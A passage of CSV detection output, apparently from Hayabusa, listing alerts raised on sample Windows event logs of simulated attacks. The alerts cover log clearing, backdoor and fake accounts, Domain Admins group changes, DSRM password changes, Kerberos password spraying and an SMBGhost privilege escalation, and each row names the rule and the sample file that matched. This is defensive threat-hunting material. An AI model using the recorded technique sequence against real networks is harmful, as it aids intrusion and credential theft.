+09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5142- New file share created.evtx +2020-07-12 02:17:49.788 +09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1222.001-File and Directory Permissions Modification/ID5143-File share permissions changed.evtx +2020-07-12 02:17:49.788 +09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1222.001-File and Directory Permissions Modification/ID5143-File share permissions changed.evtx +2020-07-12 02:18:01.228 +09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1222.001-File and Directory Permissions Modification/ID5143-File share permissions changed.evtx +2020-07-12 06:38:17.445 +09:00,fs02.offsec.lan,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1053.005-Scheduled Task/ID4698-4699-Fast created & deleted task by SMBexec (sups. arg.).evtx +2020-07-12 06:49:56.318 +09:00,fs02.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-Random service installation.evtx +2020-07-12 14:10:08.442 +09:00,rootdc1.offsec.lan,4720,medium,Local user account created,User: admin-kriss : SID:S-1-5-21-4230534742-2542757381-3142984815-1166,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4720-4726 Fast created-deleted user.evtx +2020-07-12 14:10:08.442 +09:00,rootdc1.offsec.lan,4720,medium,Local user account created,User: admin-kriss : SID:S-1-5-21-4230534742-2542757381-3142984815-1166,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4720-Admin like user created.evtx +2020-07-12 14:12:58.295 +09:00,jump01.offsec.lan,4720,medium,Local user account created,User: hacking-local-acct : SID:S-1-5-21-1470532092-3758209836-3742276719-1001,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4720-Local user created.evtx +2020-07-12 14:14:30.976 +09:00,jump01.offsec.lan,4732,high,User added to local Administrators group,User: - : SID: S-1-5-21-1470532092-3758209836-3742276719-1001 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4732-User added to local admin groups.evtx +2020-07-12 14:14:30.976 +09:00,jump01.offsec.lan,4732,high,User added to local Administrators group,User: - : SID: S-1-5-21-1470532092-3758209836-3742276719-1001 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4732-4733-Quick added-removed user from local group.evtx +2020-07-12 14:17:23.107 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=lambda-user,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1158 : Group: Group02",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Member adding to a group by the same account.evtx +2020-07-12 14:17:23.107 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=lambda-user,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1158 : Group: Group02 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Member adding to a group by the same account.evtx +2020-07-12 14:19:54.561 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group01",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.561 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group01 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.564 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group02",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.564 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group02 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.566 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group03",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.566 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group03 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.568 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group04",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.568 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group04 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.570 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group05",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.570 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group05 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.572 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group06",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.572 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group06 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.574 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group07",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.574 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group07 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.576 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group08",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.576 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group08 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.578 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group09",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.578 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group09 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.580 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group10",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.580 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group10 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.582 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group11",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.582 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group11 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:27:05.579 +09:00,fs02.offsec.lan,4825,medium,Denied Access To Remote Desktop,,rules/sigma/builtin/security/win_not_allowed_rdp_access.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.001-Remote Desktop Protocol/ID4825-Denied RDP connection with valid credentials.evtx +2020-07-12 14:28:26.831 +09:00,fs02.offsec.lan,4825,medium,Denied Access To Remote Desktop,,rules/sigma/builtin/security/win_not_allowed_rdp_access.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.001-Remote Desktop Protocol/ID4825-Denied RDP connection with valid credentials.evtx +2020-07-12 15:01:13.758 +09:00,rootdc1.offsec.lan,4728,high,User added to local Domain Admins group,"User: CN=honey-pot1,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1159 : Group: Domain Admins",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalDomainAdminsGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-4756-Member added to sensitive domain groups.evtx +2020-07-12 15:01:13.758 +09:00,rootdc1.offsec.lan,4728,high,User added to the global Domain Admins group,"Member added: CN=honey-pot1,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1159 : Group: Domain Admins : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalDomainAdmins.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-4756-Member added to sensitive domain groups.evtx +2020-07-12 15:01:13.758 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=honey-pot1,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1159 : Group: Domain Admins : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-4756-Member added to sensitive domain groups.evtx +2020-07-13 04:45:00.670 +09:00,rootdc1.offsec.lan,4720,high,Hidden user account created! (Possible Backdoor),User: FAKE-COMPUTER$ : SID:S-1-5-21-4230534742-2542757381-3142984815-1168,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_ComputerAccountCreated.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4720-Fake computer account created.evtx +2020-07-13 17:34:33.915 +09:00,rootdc1.offsec.lan,4794,high,Password Change on Directory Service Restore Mode (DSRM) Account,,rules/sigma/builtin/security/win_susp_dsrm_password_change.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4794-4688-DSRM password set with NTDSutil.evtx +2020-07-19 22:06:52.199 +09:00,01566s-win16-ir.threebeesco.com,5145,critical,Protected Storage Service Access,,rules/sigma/builtin/security/win_protected_storage_service_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_protectedstorage_5145_rpc_masterkey.evtx +2020-07-23 05:29:27.321 +09:00,01566s-win16-ir.threebeesco.com,1102,high,Security log was cleared,User: a-jbrown,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.414 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: HD01 : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.414 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: admin : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.414 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: svc-02 : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.414 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: HD02 : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.414 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: svc-01 : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.415 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: bob : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.415 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: admin02 : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.434 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: normal : Service: krbtgt : IP Address: 172.16.66.1 : Status: 0x0 : PreAuthType: 2,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.437 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: normal : Service: krbtgt : IP Address: ::ffff:172.16.66.1 : Status: 0x0 : PreAuthType: 2,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-27 07:26:14.523 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/CVE-2020-0796_SMBV3Ghost_LocalPrivEsc_Sysmon_3_1_10.evtx +2020-07-27 07:26:14.523 +09:00,MSEDGEWIN10,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/CVE-2020-0796_SMBV3Ghost_LocalPrivEsc_Sysmon_3_1_10.evtx +2020-07-27 07:26:15.141 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/CVE-2020-0796_SMBV3Ghost_LocalPrivEsc_Sysmon_3_1_10.evtx +2020-08-02 20:21:46.062 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.068 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.078 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.083 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.088 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.094 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.100 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.110 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.117 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.153 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.166 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.181 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes 